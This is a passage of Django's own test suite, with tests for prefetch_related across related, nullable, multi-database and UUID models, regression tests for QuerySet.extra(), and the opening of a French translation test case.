        self.house1 = House.objects.create(address="123 Main St")
        self.room1_1 = Room.objects.create(name="Dining room", house=self.house1)
        self.room1_2 = Room.objects.create(name="Lounge", house=self.house1)
        self.room1_3 = Room.objects.create(name="Kitchen", house=self.house1)
        self.house1.main_room = self.room1_1
        self.house1.save()
        self.person1.houses.add(self.house1)

        self.house2 = House.objects.create(address="45 Side St")
        self.room2_1 = Room.objects.create(name="Dining room", house=self.house2)
        self.room2_2 = Room.objects.create(name="Lounge", house=self.house2)
        self.house2.main_room = self.room2_1
        self.house2.save()
        self.person1.houses.add(self.house2)

        self.house3 = House.objects.create(address="6 Downing St")
        self.room3_1 = Room.objects.create(name="Dining room", house=self.house3)
        self.room3_2 = Room.objects.create(name="Lounge", house=self.house3)
        self.room3_3 = Room.objects.create(name="Kitchen", house=self.house3)
        self.house3.main_room = self.room3_1
        self.house3.save()
        self.person2.houses.add(self.house3)

        self.house4 = House.objects.create(address="7 Regents St")
        self.room4_1 = Room.objects.create(name="Dining room", house=self.house4)
        self.room4_2 = Room.objects.create(name="Lounge", house=self.house4)
        self.house4.main_room = self.room4_1
        self.house4.save()
        self.person2.houses.add(self.house4)

    def test_order(self):
        with self.assertNumQueries(4):
            # The following two queries must be done in the same order as written,
            # otherwise 'primary_house' will cause non-prefetched lookups
            qs = Person.objects.prefetch_related('houses__rooms',
                                                 'primary_house__occupants')
            [list(p.primary_house.occupants.all()) for p in qs]


class NullableTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        boss = Employee.objects.create(name="Peter")
        Employee.objects.create(name="Joe", boss=boss)
        Employee.objects.create(name="Angela", boss=boss)

    def test_traverse_nullable(self):
        # Because we use select_related() for 'boss', it doesn't need to be
        # prefetched, but we can still traverse it although it contains some nulls
        with self.assertNumQueries(2):
            qs = Employee.objects.select_related('boss').prefetch_related('boss__serfs')
            co_serfs = [list(e.boss.serfs.all()) if e.boss is not None else []
                        for e in qs]

        qs2 = Employee.objects.select_related('boss')
        co_serfs2 = [list(e.boss.serfs.all()) if e.boss is not None else [] for e in qs2]

        self.assertEqual(co_serfs, co_serfs2)

    def test_prefetch_nullable(self):
        # One for main employee, one for boss, one for serfs
        with self.assertNumQueries(3):
            qs = Employee.objects.prefetch_related('boss__serfs')
            co_serfs = [list(e.boss.serfs.all()) if e.boss is not None else []
                        for e in qs]

        qs2 = Employee.objects.all()
        co_serfs2 = [list(e.boss.serfs.all()) if e.boss is not None else [] for e in qs2]

        self.assertEqual(co_serfs, co_serfs2)

    def test_in_bulk(self):
        """
        In-bulk does correctly prefetch objects by not using .iterator()
        directly.
        """
        boss1 = Employee.objects.create(name="Peter")
        boss2 = Employee.objects.create(name="Jack")
        with self.assertNumQueries(2):
            # Check that prefetch is done and it does not cause any errors.
            bulk = Employee.objects.prefetch_related('serfs').in_bulk([boss1.pk, boss2.pk])
            for b in bulk.values():
                list(b.serfs.all())


class MultiDbTests(TestCase):
    multi_db = True

    def test_using_is_honored_m2m(self):
        B = Book.objects.using('other')
        A = Author.objects.using('other')
        book1 = B.create(title="Poems")
        book2 = B.create(title="Jane Eyre")
        book3 = B.create(title="Wuthering Heights")
        book4 = B.create(title="Sense and Sensibility")

        author1 = A.create(name="Charlotte", first_book=book1)
        author2 = A.create(name="Anne", first_book=book1)
        author3 = A.create(name="Emily", first_book=book1)
        author4 = A.create(name="Jane", first_book=book4)

        book1.authors.add(author1, author2, author3)
        book2.authors.add(author1)
        book3.authors.add(author3)
        book4.authors.add(author4)

        # Forward
        qs1 = B.prefetch_related('authors')
        with self.assertNumQueries(2, using='other'):
            books = "".join("%s (%s)\n" %
                            (book.title, ", ".join(a.name for a in book.authors.all()))
                            for book in qs1)
        self.assertEqual(books,
                         "Poems (Charlotte, Anne, Emily)\n"
                         "Jane Eyre (Charlotte)\n"
                         "Wuthering Heights (Emily)\n"
                         "Sense and Sensibility (Jane)\n")

        # Reverse
        qs2 = A.prefetch_related('books')
        with self.assertNumQueries(2, using='other'):
            authors = "".join("%s: %s\n" %
                              (author.name, ", ".join(b.title for b in author.books.all()))
                              for author in qs2)
        self.assertEqual(authors,
                         "Charlotte: Poems, Jane Eyre\n"
                         "Anne: Poems\n"
                         "Emily: Poems, Wuthering Heights\n"
                         "Jane: Sense and Sensibility\n")

    def test_using_is_honored_fkey(self):
        B = Book.objects.using('other')
        A = Author.objects.using('other')
        book1 = B.create(title="Poems")
        book2 = B.create(title="Sense and Sensibility")

        A.create(name="Charlotte Bronte", first_book=book1)
        A.create(name="Jane Austen", first_book=book2)

        # Forward
        with self.assertNumQueries(2, using='other'):
            books = ", ".join(a.first_book.title for a in A.prefetch_related('first_book'))
        self.assertEqual("Poems, Sense and Sensibility", books)

        # Reverse
        with self.assertNumQueries(2, using='other'):
            books = "".join("%s (%s)\n" %
                            (b.title, ", ".join(a.name for a in b.first_time_authors.all()))
                            for b in B.prefetch_related('first_time_authors'))
        self.assertEqual(books,
                         "Poems (Charlotte Bronte)\n"
                         "Sense and Sensibility (Jane Austen)\n")

    def test_using_is_honored_inheritance(self):
        B = BookWithYear.objects.using('other')
        A = AuthorWithAge.objects.using('other')
        book1 = B.create(title="Poems", published_year=2010)
        B.create(title="More poems", published_year=2011)
        A.create(name='Jane', first_book=book1, age=50)
        A.create(name='Tom', first_book=book1, age=49)

        # parent link
        with self.assertNumQueries(2, using='other'):
            authors = ", ".join(a.author.name for a in A.prefetch_related('author'))

        self.assertEqual(authors, "Jane, Tom")

        # child link
        with self.assertNumQueries(2, using='other'):
            ages = ", ".join(str(a.authorwithage.age) for a in A.prefetch_related('authorwithage'))

        self.assertEqual(ages, "50, 49")

    def test_using_is_honored_custom_qs(self):
        B = Book.objects.using('other')
        A = Author.objects.using('other')
        book1 = B.create(title="Poems")
        book2 = B.create(title="Sense and Sensibility")

        A.create(name="Charlotte Bronte", first_book=book1)
        A.create(name="Jane Austen", first_book=book2)

        # Implicit hinting
        with self.assertNumQueries(2, using='other'):
            prefetch = Prefetch('first_time_authors', queryset=Author.objects.all())
            books = "".join("%s (%s)\n" %
                            (b.title, ", ".join(a.name for a in b.first_time_authors.all()))
                            for b in B.prefetch_related(prefetch))
        self.assertEqual(books,
                         "Poems (Charlotte Bronte)\n"
                         "Sense and Sensibility (Jane Austen)\n")

        # Explicit using on the same db.
        with self.assertNumQueries(2, using='other'):
            prefetch = Prefetch('first_time_authors', queryset=Author.objects.using('other'))
            books = "".join("%s (%s)\n" %
                            (b.title, ", ".join(a.name for a in b.first_time_authors.all()))
                            for b in B.prefetch_related(prefetch))
        self.assertEqual(books,
                         "Poems (Charlotte Bronte)\n"
                         "Sense and Sensibility (Jane Austen)\n")

        # Explicit using on a different db.
        with self.assertNumQueries(1, using='default'), self.assertNumQueries(1, using='other'):
            prefetch = Prefetch('first_time_authors', queryset=Author.objects.using('default'))
            books = "".join("%s (%s)\n" %
                            (b.title, ", ".join(a.name for a in b.first_time_authors.all()))
                            for b in B.prefetch_related(prefetch))
        self.assertEqual(books,
                         "Poems ()\n"
                         "Sense and Sensibility ()\n")


class Ticket19607Tests(TestCase):

    def setUp(self):

        for id, name1, name2 in [
            (1, 'einfach', 'simple'),
            (2, 'schwierig', 'difficult'),
        ]:
            LessonEntry.objects.create(id=id, name1=name1, name2=name2)

        for id, lesson_entry_id, name in [
            (1, 1, 'einfach'),
            (2, 1, 'simple'),
            (3, 2, 'schwierig'),
            (4, 2, 'difficult'),
        ]:
            WordEntry.objects.create(id=id, lesson_entry_id=lesson_entry_id, name=name)

    def test_bug(self):
        list(WordEntry.objects.prefetch_related('lesson_entry', 'lesson_entry__wordentry_set'))


class Ticket21410Tests(TestCase):

    def setUp(self):
        self.book1 = Book.objects.create(title="Poems")
        self.book2 = Book.objects.create(title="Jane Eyre")
        self.book3 = Book.objects.create(title="Wuthering Heights")
        self.book4 = Book.objects.create(title="Sense and Sensibility")

        self.author1 = Author2.objects.create(name="Charlotte", first_book=self.book1)
        self.author2 = Author2.objects.create(name="Anne", first_book=self.book1)
        self.author3 = Author2.objects.create(name="Emily", first_book=self.book1)
        self.author4 = Author2.objects.create(name="Jane", first_book=self.book4)

        self.author1.favorite_books.add(self.book1, self.book2, self.book3)
        self.author2.favorite_books.add(self.book1)
        self.author3.favorite_books.add(self.book2)
        self.author4.favorite_books.add(self.book3)

    def test_bug(self):
        list(Author2.objects.prefetch_related('first_book', 'favorite_books'))


class Ticket21760Tests(TestCase):

    def setUp(self):
        self.rooms = []
        for _ in range(3):
            house = House.objects.create()
            for _ in range(3):
                self.rooms.append(Room.objects.create(house=house))
            # Set main_room for each house before creating the next one for
            # databases where supports_nullable_unique_constraints is False.
            house.main_room = self.rooms[-3]
            house.save()

    def test_bug(self):
        prefetcher = get_prefetcher(self.rooms[0], 'house', 'house')[0]
        queryset = prefetcher.get_prefetch_queryset(list(Room.objects.all()))[0]
        self.assertNotIn(' JOIN ', force_text(queryset.query))


class Ticket25546Tests(TestCase):
    """
    Nested prefetch_related() shouldn't trigger duplicate queries for the same
    lookup.

    Before, prefetch queries were for 'addresses', 'first_time_authors', and
    'first_time_authors__addresses'. The last query is the duplicate.
    """

    @classmethod
    def setUpTestData(cls):
        cls.book1, cls.book2 = [
            Book.objects.create(title='book1'),
            Book.objects.create(title='book2'),
        ]
        cls.author11, cls.author12, cls.author21 = [
            Author.objects.create(first_book=cls.book1, name='Author11'),
            Author.objects.create(first_book=cls.book1, name='Author12'),
            Author.objects.create(first_book=cls.book2, name='Author21'),
        ]
        cls.author1_address1, cls.author1_address2, cls.author2_address1 = [
            AuthorAddress.objects.create(author=cls.author11, address='Happy place'),
            AuthorAddress.objects.create(author=cls.author12, address='Haunted house'),
            AuthorAddress.objects.create(author=cls.author21, address='Happy place'),
        ]

    def test_prefetch(self):
        with self.assertNumQueries(3):
            books = Book.objects.filter(
                title__in=['book1', 'book2'],
            ).prefetch_related(
                Prefetch(
                    'first_time_authors',
                    Author.objects.prefetch_related(
                        Prefetch(
                            'addresses',
                            AuthorAddress.objects.filter(address='Happy place'),
                        )
                    ),
                ),
            )
            book1, book2 = list(books)

        with self.assertNumQueries(0):
            self.assertListEqual(list(book1.first_time_authors.all()), [self.author11, self.author12])
            self.assertListEqual(list(book2.first_time_authors.all()), [self.author21])

            self.assertListEqual(list(book1.first_time_authors.all()[0].addresses.all()), [self.author1_address1])
            self.assertListEqual(list(book1.first_time_authors.all()[1].addresses.all()), [])
            self.assertListEqual(list(book2.first_time_authors.all()[0].addresses.all()), [self.author2_address1])

        self.assertEqual(
            list(book1.first_time_authors.all()), list(book1.first_time_authors.all().all())
        )
        self.assertEqual(
            list(book2.first_time_authors.all()), list(book2.first_time_authors.all().all())
        )
        self.assertEqual(
            list(book1.first_time_authors.all()[0].addresses.all()),
            list(book1.first_time_authors.all()[0].addresses.all().all())
        )
        self.assertEqual(
            list(book1.first_time_authors.all()[1].addresses.all()),
            list(book1.first_time_authors.all()[1].addresses.all().all())
        )
        self.assertEqual(
            list(book2.first_time_authors.all()[0].addresses.all()),
            list(book2.first_time_authors.all()[0].addresses.all().all())
        )

    def test_prefetch_with_to_attr(self):
        with self.assertNumQueries(3):
            books = Book.objects.filter(
                title__in=['book1', 'book2'],
            ).prefetch_related(
                Prefetch(
                    'first_time_authors',
                    Author.objects.prefetch_related(
                        Prefetch(
                            'addresses',
                            AuthorAddress.objects.filter(address='Happy place'),
                            to_attr='happy_place',
                        )
                    ),
                    to_attr='first_authors',
                ),
            )
            book1, book2 = list(books)

        with self.assertNumQueries(0):
            self.assertListEqual(book1.first_authors, [self.author11, self.author12])
            self.assertListEqual(book2.first_authors, [self.author21])

            self.assertListEqual(book1.first_authors[0].happy_place, [self.author1_address1])
            self.assertListEqual(book1.first_authors[1].happy_place, [])
            self.assertListEqual(book2.first_authors[0].happy_place, [self.author2_address1])






from __future__ import unicode_literals

from django.test import TestCase

from .models import Flea, House, Person, Pet, Room


class UUIDPrefetchRelated(TestCase):

    def test_prefetch_related_from_uuid_model(self):
        Pet.objects.create(name='Fifi').people.add(
            Person.objects.create(name='Ellen'),
            Person.objects.create(name='George'),
        )

        with self.assertNumQueries(2):
            pet = Pet.objects.prefetch_related('people').get(name='Fifi')
        with self.assertNumQueries(0):
            self.assertEqual(2, len(pet.people.all()))

    def test_prefetch_related_to_uuid_model(self):
        Person.objects.create(name='Bella').pets.add(
            Pet.objects.create(name='Socks'),
            Pet.objects.create(name='Coffee'),
        )

        with self.assertNumQueries(2):
            person = Person.objects.prefetch_related('pets').get(name='Bella')
        with self.assertNumQueries(0):
            self.assertEqual(2, len(person.pets.all()))

    def test_prefetch_related_from_uuid_model_to_uuid_model(self):
        fleas = [Flea.objects.create() for i in range(3)]
        Pet.objects.create(name='Fifi').fleas_hosted.add(*fleas)
        Pet.objects.create(name='Bobo').fleas_hosted.add(*fleas)

        with self.assertNumQueries(2):
            pet = Pet.objects.prefetch_related('fleas_hosted').get(name='Fifi')
        with self.assertNumQueries(0):
            self.assertEqual(3, len(pet.fleas_hosted.all()))

        with self.assertNumQueries(2):
            flea = Flea.objects.prefetch_related('pets_visited').get(pk=fleas[0].pk)
        with self.assertNumQueries(0):
            self.assertEqual(2, len(flea.pets_visited.all()))

    def test_prefetch_related_from_uuid_model_to_uuid_model_with_values_flat(self):
        pet = Pet.objects.create(name='Fifi')
        pet.people.add(
            Person.objects.create(name='Ellen'),
            Person.objects.create(name='George'),
        )
        self.assertSequenceEqual(
            Pet.objects.prefetch_related('fleas_hosted').values_list('id', flat=True),
            [pet.id]
        )


class UUIDPrefetchRelatedLookups(TestCase):

    @classmethod
    def setUpTestData(cls):
        house = House.objects.create(name='Redwood', address='Arcata')
        room = Room.objects.create(name='Racoon', house=house)
        fleas = [Flea.objects.create(current_room=room) for i in range(3)]
        pet = Pet.objects.create(name='Spooky')
        pet.fleas_hosted.add(*fleas)
        person = Person.objects.create(name='Bob')
        person.houses.add(house)
        person.pets.add(pet)
        person.fleas_hosted.add(*fleas)

    def test_from_uuid_pk_lookup_uuid_pk_integer_pk(self):
        # From uuid-pk model, prefetch <uuid-pk model>.<integer-pk model>:
        with self.assertNumQueries(4):
            spooky = Pet.objects.prefetch_related('fleas_hosted__current_room__house').get(name='Spooky')
        with self.assertNumQueries(0):
            self.assertEqual('Racoon', spooky.fleas_hosted.all()[0].current_room.name)

    def test_from_uuid_pk_lookup_integer_pk2_uuid_pk2(self):
        # From uuid-pk model, prefetch <integer-pk model>.<integer-pk model>.<uuid-pk model>.<uuid-pk model>:
        with self.assertNumQueries(5):
            spooky = Pet.objects.prefetch_related('people__houses__rooms__fleas').get(name='Spooky')
        with self.assertNumQueries(0):
            self.assertEqual(3, len(spooky.people.all()[0].houses.all()[0].rooms.all()[0].fleas.all()))

    def test_from_integer_pk_lookup_uuid_pk_integer_pk(self):
        # From integer-pk model, prefetch <uuid-pk model>.<integer-pk model>:
        with self.assertNumQueries(3):
            racoon = Room.objects.prefetch_related('fleas__people_visited').get(name='Racoon')
        with self.assertNumQueries(0):
            self.assertEqual('Bob', racoon.fleas.all()[0].people_visited.all()[0].name)

    def test_from_integer_pk_lookup_integer_pk_uuid_pk(self):
        # From integer-pk model, prefetch <integer-pk model>.<uuid-pk model>:
        with self.assertNumQueries(3):
            redwood = House.objects.prefetch_related('rooms__fleas').get(name='Redwood')
        with self.assertNumQueries(0):
            self.assertEqual(3, len(redwood.rooms.all()[0].fleas.all()))

    def test_from_integer_pk_lookup_integer_pk_uuid_pk_uuid_pk(self):
        # From integer-pk model, prefetch <integer-pk model>.<uuid-pk model>.<uuid-pk model>:
        with self.assertNumQueries(4):
            redwood = House.objects.prefetch_related('rooms__fleas__pets_visited').get(name='Redwood')
        with self.assertNumQueries(0):
            self.assertEqual('Spooky', redwood.rooms.all()[0].fleas.all()[0].pets_visited.all()[0].name)






from __future__ import unicode_literals

import copy
import datetime

from django.contrib.auth.models import User
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class RevisionableModel(models.Model):
    base = models.ForeignKey('self', models.SET_NULL, null=True)
    title = models.CharField(blank=True, max_length=255)
    when = models.DateTimeField(default=datetime.datetime.now)

    def __str__(self):
        return "%s (%s, %s)" % (self.title, self.id, self.base.id)

    def save(self, *args, **kwargs):
        super(RevisionableModel, self).save(*args, **kwargs)
        if not self.base:
            self.base = self
            kwargs.pop('force_insert', None)
            kwargs.pop('force_update', None)
            super(RevisionableModel, self).save(*args, **kwargs)

    def new_revision(self):
        new_revision = copy.copy(self)
        new_revision.pk = None
        return new_revision


class Order(models.Model):
    created_by = models.ForeignKey(User, models.CASCADE)
    text = models.TextField()


@python_2_unicode_compatible
class TestObject(models.Model):
    first = models.CharField(max_length=20)
    second = models.CharField(max_length=20)
    third = models.CharField(max_length=20)

    def __str__(self):
        return 'TestObject: %s,%s,%s' % (self.first, self.second, self.third)












from __future__ import unicode_literals

import datetime
from collections import OrderedDict

from django.contrib.auth.models import User
from django.test import TestCase

from .models import Order, RevisionableModel, TestObject


class ExtraRegressTests(TestCase):

    def setUp(self):
        self.u = User.objects.create_user(
            username="fred",
            password="secret",
            email="fred@example.com"
        )

    def test_regression_7314_7372(self):
        """
        Regression tests for #7314 and #7372
        """
        rm = RevisionableModel.objects.create(
            title='First Revision',
            when=datetime.datetime(2008, 9, 28, 10, 30, 0)
        )
        self.assertEqual(rm.pk, rm.base.pk)

        rm2 = rm.new_revision()
        rm2.title = "Second Revision"
        rm.when = datetime.datetime(2008, 9, 28, 14, 25, 0)
        rm2.save()

        self.assertEqual(rm2.title, 'Second Revision')
        self.assertEqual(rm2.base.title, 'First Revision')

        self.assertNotEqual(rm2.pk, rm.pk)
        self.assertEqual(rm2.base.pk, rm.pk)

        # Queryset to match most recent revision:
        qs = RevisionableModel.objects.extra(
            where=["%(table)s.id IN (SELECT MAX(rev.id) FROM %(table)s rev GROUP BY rev.base_id)" % {
                'table': RevisionableModel._meta.db_table,
            }]
        )

        self.assertQuerysetEqual(
            qs, [('Second Revision', 'First Revision')],
            transform=lambda r: (r.title, r.base.title)
        )

        # Queryset to search for string in title:
        qs2 = RevisionableModel.objects.filter(title__contains="Revision")
        self.assertQuerysetEqual(
            qs2, [
                ('First Revision', 'First Revision'),
                ('Second Revision', 'First Revision'),
            ],
            transform=lambda r: (r.title, r.base.title),
            ordered=False
        )

        # Following queryset should return the most recent revision:
        self.assertQuerysetEqual(
            qs & qs2,
            [('Second Revision', 'First Revision')],
            transform=lambda r: (r.title, r.base.title),
            ordered=False
        )

    def test_extra_stay_tied(self):
        # Extra select parameters should stay tied to their corresponding
        # select portions. Applies when portions are updated or otherwise
        # moved around.
        qs = User.objects.extra(
            select=OrderedDict((("alpha", "%s"), ("beta", "2"), ("gamma", "%s"))),
            select_params=(1, 3)
        )
        qs = qs.extra(select={"beta": 4})
        qs = qs.extra(select={"alpha": "%s"}, select_params=[5])
        self.assertEqual(
            list(qs.filter(id=self.u.id).values('alpha', 'beta', 'gamma')),
            [{'alpha': 5, 'beta': 4, 'gamma': 3}]
        )

    def test_regression_7957(self):
        """
        Regression test for #7957: Combining extra() calls should leave the
        corresponding parameters associated with the right extra() bit. I.e.
        internal dictionary must remain sorted.
        """
        self.assertEqual(
            (User.objects
                .extra(select={"alpha": "%s"}, select_params=(1,))
                .extra(select={"beta": "%s"}, select_params=(2,))[0].alpha),
            1
        )

        self.assertEqual(
            (User.objects
                .extra(select={"beta": "%s"}, select_params=(1,))
                .extra(select={"alpha": "%s"}, select_params=(2,))[0].alpha),
            2
        )

    def test_regression_7961(self):
        """
        Regression test for #7961: When not using a portion of an
        extra(...) in a query, remove any corresponding parameters from the
        query as well.
        """
        self.assertEqual(
            list(User.objects.extra(select={"alpha": "%s"}, select_params=(-6,))
                 .filter(id=self.u.id).values_list('id', flat=True)),
            [self.u.id]
        )

    def test_regression_8063(self):
        """
        Regression test for #8063: limiting a query shouldn't discard any
        extra() bits.
        """
        qs = User.objects.all().extra(where=['id=%s'], params=[self.u.id])
        self.assertQuerysetEqual(qs, ['<User: fred>'])
        self.assertQuerysetEqual(qs[:1], ['<User: fred>'])

    def test_regression_8039(self):
        """
        Regression test for #8039: Ordering sometimes removed relevant tables
        from extra(). This test is the critical case: ordering uses a table,
        but then removes the reference because of an optimization. The table
        should still be present because of the extra() call.
        """
        self.assertQuerysetEqual(
            (Order.objects
                .extra(where=["username=%s"], params=["fred"], tables=["auth_user"])
                .order_by('created_by')),
            []
        )

    def test_regression_8819(self):
        """
        Regression test for #8819: Fields in the extra(select=...) list
        should be available to extra(order_by=...).
        """
        self.assertQuerysetEqual(
            User.objects.filter(pk=self.u.id).extra(select={'extra_field': 1}).distinct(),
            ['<User: fred>']
        )
        self.assertQuerysetEqual(
            User.objects.filter(pk=self.u.id).extra(select={'extra_field': 1}, order_by=['extra_field']),
            ['<User: fred>']
        )
        self.assertQuerysetEqual(
            User.objects.filter(pk=self.u.id).extra(select={'extra_field': 1}, order_by=['extra_field']).distinct(),
            ['<User: fred>']
        )

    def test_dates_query(self):
        """
        When calling the dates() method on a queryset with extra selection
        columns, we can (and should) ignore those columns. They don't change
        the result and cause incorrect SQL to be produced otherwise.
        """
        RevisionableModel.objects.create(
            title='First Revision',
            when=datetime.datetime(2008, 9, 28, 10, 30, 0)
        )

        self.assertQuerysetEqual(
            RevisionableModel.objects.extra(select={"the_answer": 'id'}).datetimes('when', 'month'),
            [datetime.datetime(2008, 9, 1, 0, 0)],
            transform=lambda d: d,
        )

    def test_values_with_extra(self):
        """
        Regression test for #10256... If there is a values() clause, Extra
        columns are only returned if they are explicitly mentioned.
        """
        obj = TestObject(first='first', second='second', third='third')
        obj.save()

        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values()
            ),
            [{
                'bar': 'second', 'third': 'third', 'second': 'second', 'whiz': 'third', 'foo': 'first',
                'id': obj.pk, 'first': 'first'
            }]
        )

        # Extra clauses after an empty values clause are still included
        self.assertEqual(
            list(
                TestObject.objects
                .values()
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
            ),
            [{
                'bar': 'second', 'third': 'third', 'second': 'second', 'whiz': 'third', 'foo': 'first',
                'id': obj.pk, 'first': 'first'
            }]
        )

        # Extra columns are ignored if not mentioned in the values() clause
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values('first', 'second')
            ),
            [{'second': 'second', 'first': 'first'}]
        )

        # Extra columns after a non-empty values() clause are ignored
        self.assertEqual(
            list(
                TestObject.objects
                .values('first', 'second')
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
            ),
            [{'second': 'second', 'first': 'first'}]
        )

        # Extra columns can be partially returned
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values('first', 'second', 'foo')
            ),
            [{'second': 'second', 'foo': 'first', 'first': 'first'}]
        )

        # Also works if only extra columns are included
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values('foo', 'whiz')
            ),
            [{'foo': 'first', 'whiz': 'third'}]
        )

        # Values list works the same way
        # All columns are returned for an empty values_list()
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list()
            ),
            [('first', 'second', 'third', obj.pk, 'first', 'second', 'third')]
        )

        # Extra columns after an empty values_list() are still included
        self.assertEqual(
            list(
                TestObject.objects
                .values_list()
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
            ),
            [('first', 'second', 'third', obj.pk, 'first', 'second', 'third')]
        )

        # Extra columns ignored completely if not mentioned in values_list()
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('first', 'second')
            ),
            [('first', 'second')]
        )

        # Extra columns after a non-empty values_list() clause are ignored completely
        self.assertEqual(
            list(
                TestObject.objects
                .values_list('first', 'second')
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
            ),
            [('first', 'second')]
        )

        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('second', flat=True)
            ),
            ['second']
        )

        # Only the extra columns specified in the values_list() are returned
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('first', 'second', 'whiz')
            ),
            [('first', 'second', 'third')]
        )

        # ...also works if only extra columns are included
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('foo', 'whiz')
            ),
            [('first', 'third')]
        )

        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('whiz', flat=True)
            ),
            ['third']
        )

        # ... and values are returned in the order they are specified
        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('whiz', 'foo')
            ),
            [('third', 'first')]
        )

        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('first', 'id')
            ),
            [('first', obj.pk)]
        )

        self.assertEqual(
            list(
                TestObject.objects
                .extra(select=OrderedDict((('foo', 'first'), ('bar', 'second'), ('whiz', 'third'))))
                .values_list('whiz', 'first', 'bar', 'id')
            ),
            [('third', 'first', 'second', obj.pk)]
        )

    def test_regression_10847(self):
        """
        Regression for #10847: the list of extra columns can always be
        accurately evaluated. Using an inner query ensures that as_sql() is
        producing correct output without requiring full evaluation and
        execution of the inner query.
        """
        obj = TestObject(first='first', second='second', third='third')
        obj.save()

        self.assertEqual(
            list(TestObject.objects.extra(select={'extra': 1}).values('pk')),
            [{'pk': obj.pk}]
        )

        self.assertQuerysetEqual(
            TestObject.objects.filter(
                pk__in=TestObject.objects.extra(select={'extra': 1}).values('pk')
            ),
            ['<TestObject: TestObject: first,second,third>']
        )

        self.assertEqual(
            list(TestObject.objects.values('pk').extra(select={'extra': 1})),
            [{'pk': obj.pk}]
        )

        self.assertQuerysetEqual(
            TestObject.objects.filter(
                pk__in=TestObject.objects.values('pk').extra(select={'extra': 1})
            ),
            ['<TestObject: TestObject: first,second,third>']
        )

        self.assertQuerysetEqual(
            TestObject.objects.filter(pk=obj.pk) | TestObject.objects.extra(where=["id > %s"], params=[obj.pk]),
            ['<TestObject: TestObject: first,second,third>']
        )

    def test_regression_17877(self):
        """
        Ensure that extra WHERE clauses get correctly ANDed, even when they
        contain OR operations.
        """
        # Test Case 1: should appear in queryset.
        t = TestObject(first='a', second='a', third='a')
        t.save()
        # Test Case 2: should appear in queryset.
        t = TestObject(first='b', second='a', third='a')
        t.save()
        # Test Case 3: should not appear in queryset, bug case.
        t = TestObject(first='a', second='a', third='b')
        t.save()
        # Test Case 4: should not appear in queryset.
        t = TestObject(first='b', second='a', third='b')
        t.save()
        # Test Case 5: should not appear in queryset.
        t = TestObject(first='b', second='b', third='a')
        t.save()
        # Test Case 6: should not appear in queryset, bug case.
        t = TestObject(first='a', second='b', third='b')
        t.save()

        self.assertQuerysetEqual(
            TestObject.objects.extra(
                where=["first = 'a' OR second = 'a'", "third = 'a'"],
            ),
            ['<TestObject: TestObject: a,a,a>', '<TestObject: TestObject: b,a,a>'],
            ordered=False
        )

    def test_extra_values_distinct_ordering(self):
        t1 = TestObject.objects.create(first='a', second='a', third='a')
        t2 = TestObject.objects.create(first='a', second='b', third='b')
        qs = TestObject.objects.extra(
            select={'second_extra': 'second'}
        ).values_list('id', flat=True).distinct()
        self.assertQuerysetEqual(
            qs.order_by('second_extra'), [t1.pk, t2.pk], lambda x: x)
        self.assertQuerysetEqual(
            qs.order_by('-second_extra'), [t2.pk, t1.pk], lambda x: x)
        # Note: the extra ordering must appear in select clause, so we get two
        # non-distinct results here (this is on purpose, see #7070).
        self.assertQuerysetEqual(
            qs.order_by('-second_extra').values_list('first', flat=True),
            ['a', 'a'], lambda x: x)






from datetime import datetime

from django.db import models
from django.utils.translation import ugettext_lazy as _


class TestModel(models.Model):
    text = models.CharField(max_length=10, default=_('Anything'))


class Company(models.Model):
    name = models.CharField(max_length=50)
    date_added = models.DateTimeField(default=datetime(1799, 1, 31, 23, 59, 59, 0))
    cents_paid = models.DecimalField(max_digits=4, decimal_places=2)
    products_delivered = models.IntegerField()

    class Meta:
        verbose_name = _('Company')






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import os

from django.template import Context, Template
from django.test import SimpleTestCase, override_settings
from django.utils._os import upath
from django.utils.encoding import force_text
from django.utils.translation import activate, get_language, trans_real

from .utils import POFileAssertionMixin

SAMPLEPROJECT_DIR = os.path.join(os.path.dirname(os.path.abspath(upath(__file__))), 'sampleproject')
SAMPLEPROJECT_LOCALE = os.path.join(SAMPLEPROJECT_DIR, 'locale')


@override_settings(LOCALE_PATHS=[SAMPLEPROJECT_LOCALE])
class FrenchTestCase(SimpleTestCase):
    """Tests using the French translations of the sampleproject."""

    PO_FILE = os.path.join(SAMPLEPROJECT_LOCALE, 'fr', 'LC_MESSAGES', 'django.po')

    def setUp(self):
        self._language = get_language()
        self._translations = trans_real._translations
        activate('fr')

    def tearDown(self):
